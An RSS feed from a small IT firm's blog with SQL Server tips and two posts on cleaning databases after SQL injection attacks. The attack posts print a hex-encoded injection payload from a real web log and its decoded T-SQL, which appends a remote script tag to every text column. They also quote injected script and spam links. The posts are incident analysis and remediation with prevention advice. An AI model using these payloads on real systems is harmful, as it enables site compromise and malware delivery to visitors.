<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jephens Tech. &#187; sql server</title>
	<atom:link href="http://www.jephens.com/tag/sql-server/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jephens.com</link>
	<description>Keeping Computers Happy Since 1997</description>
	<lastBuildDate>Tue, 22 Nov 2011 04:33:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Upgrading SQL Server 2008 R2 from Evaluation to Licensed</title>
		<link>http://www.jephens.com/2011/05/30/upgrading-sql-server-2008-r2-from-evaluation-to-licensed/</link>
		<comments>http://www.jephens.com/2011/05/30/upgrading-sql-server-2008-r2-from-evaluation-to-licensed/#comments</comments>
		<pubDate>Mon, 30 May 2011 14:37:12 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[evaluation]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=398</guid>
		<description><![CDATA[As a Microsoft partner, we have access to software resources to help us do our jobs while getting ourselves familiar with the MS family of products. We had an in-house project that needed SQL Server, so we installed SQL Server 2008 R2 Enterprise in Evaluation mode, since we didn't have the product key handy. Install [...]]]></description>
			<content:encoded><![CDATA[<p>As a Microsoft partner, we have access to software resources to help us do our jobs while getting ourselves familiar with the MS family of products.</p>
<p>We had an in-house project that needed SQL Server, so we installed SQL Server 2008 R2 Enterprise in Evaluation mode, since we didn't have the product key handy.</p>
<p>Install went fine, server works great, everyone is happy.</p>
<p>170 or so days go by and we run an SSIS package and notice the warning "<strong>Evaluation Version, will expire in 8 days</strong>"  Wha?  Do a quick <em>Select @@Version</em> and sure enough, we're still running the evaluation version... in a production environment.  (Facepalm!)</p>
<p>Searching around for how to turn my eval version into a licensed version (we finally got around to requesting the key from MS) showed all sorts of solutions, none of them seemed to really fit the bill.</p>
<p>Some people admonished "You're using Eval software in a  production environment!?? Serves you right!  Uninstall/reinstall!" others required odd registry hacks to make the setup program run -- it all seemed so complex for what should be a pretty simple process.</p>
<p>Lo and behold, buried at the <a href="http://sqlblog.com/blogs/jonathan_kehayias/archive/2009/02/20/sql-server-2008-evaluation-edition-expiration-woes.aspx">very end of the comments attached to one of these complex blog posts</a>, was the simplest of solutions from a chap named Waleed Al-Qudah:</p>
<blockquote><p>"Go to Microsoft SQL Server Configuration Tools, and navigate to SQL Server installation Center then click the Maintinance link and choose Edition Upgrade."</p></blockquote>
<p>Two minutes later, we were all legal.</p>
<p>The SQL Server Installation Center is a fairly complicated looking piece of software, and I never noticed that tab nor that option.  Needless to say, I spent a few more minutes looking through it. <img src='http://www.jephens.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2011/05/30/upgrading-sql-server-2008-r2-from-evaluation-to-licensed/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Connecting to SQL Server 2008 via TCP/IP on Windows 2008</title>
		<link>http://www.jephens.com/2010/12/19/connecting-to-sql-server-2008-via-tcpip-on-windows-2008/</link>
		<comments>http://www.jephens.com/2010/12/19/connecting-to-sql-server-2008-via-tcpip-on-windows-2008/#comments</comments>
		<pubDate>Mon, 20 Dec 2010 02:55:16 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[sql server 2008]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=360</guid>
		<description><![CDATA[Recently installed SQL Server 2008 on a Windows 2008 box and was happily adminsitering it from the console of the local server.  When I fired up SSMS (SQL Server Management Studio) from my development machine, it wouldn't connect. I turned the firewall off  and still couldn't connect. Turns out TCP/IP isn't turned on by default.  [...]]]></description>
			<content:encoded><![CDATA[<p>Recently installed SQL Server 2008 on a Windows 2008 box and was happily adminsitering it from the console of the local server.  When I fired up SSMS (SQL Server Management Studio) from my development machine, it wouldn't connect.</p>
<p>I turned the firewall off  and still couldn't connect.</p>
<p>Turns out TCP/IP isn't turned on by default.  Maybe I knew that at one time, but this time it totally slipped  my mind.</p>
<p>To turn it on, go into SQL Server Configuration Manager, expand "SQL Server Network Configuration" and change "Disabled" to "Enabled" by right-clicking on "TCP/IP" and suddenly, I could connect from my development machine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2010/12/19/connecting-to-sql-server-2008-via-tcpip-on-windows-2008/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cleaning Up After a SQL Injection Attack, Part 2</title>
		<link>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/</link>
		<comments>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 04:59:07 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[t-sql]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=268</guid>
		<description><![CDATA[Got a call today off our previous article in this series from Branden of Hot Media Group, Inc., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. [...]]]></description>
			<content:encoded><![CDATA[<p>Got a call today off our <a href="/2008/07/27/how-to-clean-up-after-a-sql-injection-attack">previous article in this series</a> from Branden of<a href="http://www.hotmediagroup.com/" target="_blank"> Hot Media Group, Inc</a>., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. We reviewed his symptoms and were able to tweak the code we provided previously to work with this new set of issues.</p>
<p>We weren't able to see how the site was attacked, nor did we worry about how the site would be steeled against future occurrence (<a href="http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx" target="_blank">always use stored procedures and/or parametrized queries, kids</a>!) -- this was purely a cleanup job.</p>
<p>This is the code we had:</p>
<pre class="code prettyprint" style="height: 20em;">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''<script src="hxxp://evilsite.evl/b.js"><!--mce:0--></script>'', '''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''<script src="hxxp://evilsite.evl/b.js"><!--mce:1--></script>'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>And that worked fine, but it had some shortcomings -- mostly it only stripped out a single bit of invasive code, and our new friend had quite a bit of code to deal with, so instead of the almost quaint looking malware code:</p>
<pre class="code prettyprint" style="height: 3em;">&lt;script src="hxxp://evilsite.evl/b.js"&gt;&lt;/script&gt;</pre>
<p>We had this jumble of code in every ntext field in his database:</p>
<pre class="code prettyprint" style="height: 20em;">&lt;script type='text/javascript' src='http://google-anallytics.bad/urchin.js'&gt;&lt;/script&gt;
&lt;div style='display:none;'&gt;&lt;a href='http://tests4all.bad/1/'&gt;journals on losing post-pregnancy weight&lt;/a&gt;
&lt;a href='http://tests4all.bad/2/'&gt;personal trainer certification atlanta&lt;/a&gt;
&lt;a href='http://tests4all.bad/3/'&gt;quit smoking water vapor rings&lt;/a&gt;
&lt;a href='http://tests4all.bad/4/'&gt;eyes in the darkness&lt;/a&gt;
&lt;a href='http://tests4all.bad/5/'&gt;cheated map on dota 6.54b&lt;/a&gt;
&lt;a href='http://tests4all.bad/6/'&gt;occupations for bored teen boys&lt;/a&gt;
&lt;a href='http://tests4all.bad/7/'&gt;cgw southeast partners ilp&lt;/a&gt;
&lt;a href='http://tests4all.bad/8/'&gt;does iq tests accurately measure intelligence&lt;/a&gt;
&lt;a href='http://tests4all.bad/9/'&gt;free total psychic reading&lt;/a&gt;
&lt;a href='http://tests4all.bad/10/'&gt;minnesota past life regression&lt;/a&gt;
&lt;a href='http://tests4all.bad/11/'&gt;date of abraham lincolns death&lt;/a&gt;</pre>
<p>After trying to figure out the best way to escape all the single quotes, Branden -- an accomplished ColdFusion developer -- suggests "why don't we just drop everything to the right of the &lt;script&gt; tag?"<br />
<span id="more-268"></span><br />
Sounded like a great idea and worked very well. Since his infection had only affected NTEXT fields, we focused on cleaning them up, as well as making the script as easy to manage as possible. So I rewrote it to make it more friendly to the end-user,</p>
<pre class="code prettyprint" style="height: 25em;">DECLARE @T VARCHAR(255),@C VARCHAR(255), @sql varchar(2000)
DECLARE @ObjectionableText varchar(1000)
Set @ObjectionableText = '&lt;script type=''''text/javascript'''' src=''''http://google-anally' -- make sure your single quotes are escaped with another single quote
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
set @sql = ('UPDATE ['+@T+'] SET ['+@C+']= left(cast(' +@C+ ' as varchar(8000)), charindex('''+@ObjectionableText+''', cast(' +@C+ ' as varchar(8000)))-1) where '+@C+ ' like <a href="mailto:''%'+@ObjectionableText+'%'''">''%'+@ObjectionableText+'%'''</a>)
print @sql
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>So, let's take this apart real quick...</p>
<p>We declare some variables:</p>
<pre class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255), @sql varchar(2000)
DECLARE @ObjectionableText varchar(1000)</pre>
<p>Now, this next line is the <strong>important</strong> one -- this is where we tell the script where we want to kill from. In our example above, we could have used <strong>&lt;script</strong> as a starting tag, but the client was afraid some of the data might have legitimate &lt;script&gt; tags in the data, so we needed to get a little more specific; this string appeared in the data: "<strong>&lt;script type='text/javascript' src='http://google-anally...</strong>" so we decided to use that. However, you might notice that there were SINGLE QUOTES in the string. Since SQL Server uses a single quote as a string delimiter, we need to make sure we use FOUR single quotes in the next line everytime there's a single quote:</p>
<pre class="code prettyprint">Set @ObjectionableText = '&lt;script type=''''text/javascript'''' src=''''http://google-anally' -- make sure your single quotes are escaped with another single quote</pre>
<p>We use <strong>FOUR</strong> single quotes because this script will generate a binch of UPDATE statements for you, and the UPDATE statements need to have THEIR single-quotes escaped, so we need to tell our variable to output <strong>TWO</strong> single quotes, which means using <strong>FOUR</strong> single quotes in the variable. (Our escape uses 2 quotes and the escape later uses 2 quotes, so that equals 4.)</p>
<p>(Don't follow? Doesn't matter. Trust me. In your ObjectionableText, use FOUR single quotes where you see ONE.)</p>
<p>Now, like the old code, we set the cursor up as before; and since we only need NTEXT fields, we're only looking for columns where xtype = 99:</p>
<pre class="code prettyprint">DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN</pre>
<p>But now, we have to change the SQL statement we want to use to (a) keep 8k worth of ntext -- if you think you have more than 8K, change the number accordingly in SQL2005+, SQL2000 has an varchar limit of 8K for a varchar field... so we UPDATE the field to a new value, computed by doing a simple <a href="http://msdn.microsoft.com/en-us/library/ms177601.aspx" target="_blank">LEFT</a> and using the <a href="http://msdn.microsoft.com/en-us/library/ms186323.aspx" target="_blank">CHARINDEX</a> of the text we shoved in the @ObjectionableText variable (minus 1) to come up with it. To make sure we don't pass an invalid value to CHARINDEX we need to make sure the rows we're working on actually have the polluted text -- and that's where the <a href="http://msdn.microsoft.com/en-us/library/ms179859.aspx" target="_blank">LIKE</a> at the end comes in.</p>
<pre class="code prettyprint">set @sql = ('UPDATE ['+@T+'] SET ['+@C+']= left(cast(' +@C+ ' as varchar(8000)), charindex('''+@ObjectionableText+''', cast(' +@C+ ' as varchar(8000)))-1) where '+@C+ ' like<a href="mailto:''%'+@ObjectionableText+'%'''">''%'+@ObjectionableText+'%'''</a>)</pre>
<p>NOTE: Bear in mind we're doing a TABLE SCAN on this table since we're doing a mid-string lookup, so performance may be bad. It beats going thru everything by hand, but if you have a large table (10,000+ rows) it might take some time.</p>
<p>Now, I print the SQL statement. I could execute the statement (EXEC @sql) instead, but since I don't want you cutting-and-pasting this code without knowing what it has the potential to do, I will go for the more benign PRINT and let you either change it to EXEC or cut and paste the resulting SQL statements into a new Query Analyzer/Management Studio window..</p>
<pre class="code prettyprint">print @sql</pre>
<p>And then we loop thru the rest of the cursor and cleanup after ourselves:</p>
<pre class="code prettyprint">FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>That's it. Copy and paste the above code into Query Analyzer or SQL Server Management Studio and run it; you'll get a list of SQL statements back which look like this:</p>
<pre class="code prettyprint" style="height: 6em;">UPDATE [Banners] SET [AdCode]= left(cast(AdCode as varchar(8000)), charindex('&lt;script type=''text/javascript'' src=''http://google-anally', cast(AdCode as varchar(8000)))-1) where AdCode like '%&lt;script type=''text/javascript'' src=''http://google-anally%'
UPDATE [Banners] SET [AdCodeNetscape]= left(cast(AdCodeNetscape as varchar(8000)), charindex('&lt;script type=''text/javascript'' src=''http://google-anally', cast(AdCodeNetscape as varchar(8000)))-1) where AdCodeNetscape like '%&lt;script type=''text/javascript'' src=''http://google-anally%'</pre>
<p>Paste them into a new QA/SSMS window and run them, and your data should then be clean.</p>
<p><strong>REMINDER! In this case, we assume the malicious code was merely appended to the end of the NTEXT fields, not that fields were truncated and appended to like in the last article. If that's the case, data loss may still be possible in that the injection attack might have caused data fields to be truncated.</strong></p>
<p>Thanks to Branden for trusting us with his data, and if you're in the market for</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How To Clean Up After a SQL Injection Attack</title>
		<link>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/</link>
		<comments>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/#comments</comments>
		<pubDate>Sun, 27 Jul 2008 11:30:53 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=36</guid>
		<description><![CDATA[NEW AND IMPROVED UPDATE: Cleaning Up After a SQL Injection Attack, Part 2 [UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.] One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried [...]]]></description>
			<content:encoded><![CDATA[<p><strong>NEW AND IMPROVED UPDATE: </strong><a href="http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2"><strong>Cleaning Up After a SQL Injection Attack, Part 2</strong></a></p>
<p><strong>[UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.]</strong></p>
<p>One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried out -- <span style="text-decoration: line-through;">we're thinking an unpatched web server at the hosting facility</span> -- but it did cause me to look at the log file of the web site to see who might have been able to overwrite index.htm in the root directory. (The FTP logs held the clue -- a rogue in Asia who cracked the password.)</p>
<p>As I said, it turned up nothing, but I did see a series of SQL Injection attacks -- none of which were successful (always check your variables, kids!) -- but they piqued my interest, so I took it apart.<span id="more-36"></span></p>
<p>I'm not sure if there's any way to discuss this in-depth without revealing the code. Revealing the code is a double-edged sword. I'd like people to be able to find this via the search engines in case they've been hit with it; but at the same time, I'd hate to see people use this to further spread malice... but I don't think this code is all that unqiue, or all that new, really...</p>
<h3>A Study of An SQL Injection</h3>
<p>In the log was the following line (IPs changed to protect the innocent and not-so-innocent):</p>
<pre style="height: 6em;" class="code prettyprint">2008-06-27 21:20:32 x.x.x.x  - W3SVC257 y.y.y.y  80 GET /gallery/index.asp type=4;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|76|800a000d|Type_mismatch:_'iGallery' 500 0 1422 0 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) -</pre>
<p>Fascinating. It's pretty obvious that they're trying to inject some SQL as part of the URL. It's the standard trick...</p>
<p>So, I copied the querystring into my favorite text editor (that'd be TextPad) and broke out the querystring to this:</p>
<p><strong><span style="text-decoration: underline;">DO NOT RUN THIS CODE! IT'S DANGEROUS!</span></strong></p>
<pre style="height: 12em;" class="code prettyprint">DECLARE @S VARCHAR(4000)
SET @S=CAST(0x445434C4154054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000))
EXEC(@S)
</pre>
<p>(OK, I changed the code a little to make it a bit more benign and so that it would fail if you pasted it into QA and ran it.)</p>
<p>I pasted that into Query Analyzer and pointed QA against a dummy database, so if I screwed up, I wasn't going to hurt anything...</p>
<p>I then changed the EXEC statement to a PRINT statement, so I could see what that big CAST statement was doing, and lo and behold a little bit of T-SQL code popped out.</p>
<p>In a nutshell, the code queries sysobjects for all the user tables in the database (xtype = 'u') and throws the table info into a cursor, and then it loops thru the cursor, checking on fields that it can append it's evilness onto -- namely, text, ntext, varchar and sysname columns.</p>
<p>(Running <em>select xtype, name from systypes;</em> which basically contains a list of available sql datatypes, and I compared them against the b.xtype values in the demon code.)</p>
<p>Here's the code as disassembled:</p>
<pre style="height: 26em;" class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>Again, I defanged the routine by changing it to PRINT, so I can see what it spits out...</p>
<p>It spits out a whole pile of UPDATE statements, affecting every field of every table it found of the applicable types. (In practice, it wouldn't print the UPDATE statements, it would actually, you know, execute them...)</p>
<pre style="height: 6em;" class="code prettyprint">UPDATE [InProcessOrders] SET [StatusMessage]=RTRIM(CONVERT(VARCHAR(4000),[StatusMessage]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'UPDATE [Handhelds] SET [RecKey]=RTRIM(CONVERT(VARCHAR(4000),[RecKey]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'

UPDATE [Handhelds] SET [RecName]=RTRIM(CONVERT(VARCHAR(4000),[RecName]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'</pre>
<p>... and so forth.</p>
<p>But we can see that it appends its malicious SCRIPT tag at the end of every field in the hopes that it will someday be displayed unfettered on a webpage, where its payload can be hidden in an IFRAME.</p>
<h3>Cleaning Up The Mess</h3>
<p>So now you have a database that's infected with the evil code at the end of every data field. To get rid of it, you need to re-run the code, but with a replace statement instead of an appending of the field.</p>
<p><strong>NOTE: If you have more than 4000 characters in a data field, go for your backup, because the malicious script only grabs the first 4000 characters and then appends itself; so this solution will leave you with truncated fields. If your fields are not over 4000 characters, you should be OK.</strong></p>
<p>So if we take the disassembled code and just edit it just a little bit... change the UPDATE statement so that is REPLACES the ill-gotten script block with nothing, it's like the script block was never there.  (Except in the aforementioned cases where the original data was over 4000 characters...)</p>
<pre style="height: 40em;" class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>And there you have it.  If you edit the code so that the bad URL you're trying to erase is in it (as opposed to my bogus evilsite.evl URL) It will generate all the SQL statements you need and then you can run them against your database.</p>
<p>(Of course, you can change the PRINT statement for some other statement that might do the trick...)</p>
<h3>An Ounce of Prevention</h3>
<p>Of course, the best way to protect yourself is to not allow the SQL Injection attack to occur in the first place.  These attacks failed against our client's site because we tested to make sure the variables we were accepting via the URL were numbers.  Since there were alphabetic characters in there, the page threw an ugly error and failed to render.  (In these cases throwing an ugly error is fine, since I don't think anyone is really is looking at your pages.)</p>
<p><a href="http://msdn.microsoft.com/en-us/library/ms998271.aspx" target="_blank">Microsoft Developer Network (MSDN) has these suggestions</a>:</p>
<ul>
<li><strong>Constrain and sanitize input data. </strong>Check for known good data by validating for type, length, format, and range.</li>
<li><strong>Use type-safe SQL parameters for data access.</strong> You can use these parameters with stored procedures or dynamically constructed SQL command strings. Parameter collections such as <strong>SqlParameterCollection</strong> provide type checking and length validation. If you use a parameters collection, input is treated as a literal value, and SQL Server does not treat it as executable code. An additional benefit of using a parameters collection is that you can enforce type and length checks. Values outside of the range trigger an exception. This is a good example of defense in depth.</li>
<li><strong>Use an account that has restricted permissions in the database.</strong> Ideally, you should only grant execute permissions to selected stored procedures in the database and provide no direct table access.</li>
<li><strong>Avoid disclosing database error information. </strong>In the event of database errors, make sure you do not disclose detailed error messages to the user.</li>
</ul>
<p><a href="http://en.wikipedia.org/wiki/Sql_injection" target="_blank">Wikipedia</a> has a good breakdown of what SQL Injection is.</p>
<p>Lastly, <a href="http://msmvps.com/blogs/harrywaldron/default.aspx" target="_blank">Microsoft MVP Harry Waldron</a> put together <a href="http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx" target="_blank">a good collection of best practices</a> to foil SQL Injection attacks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

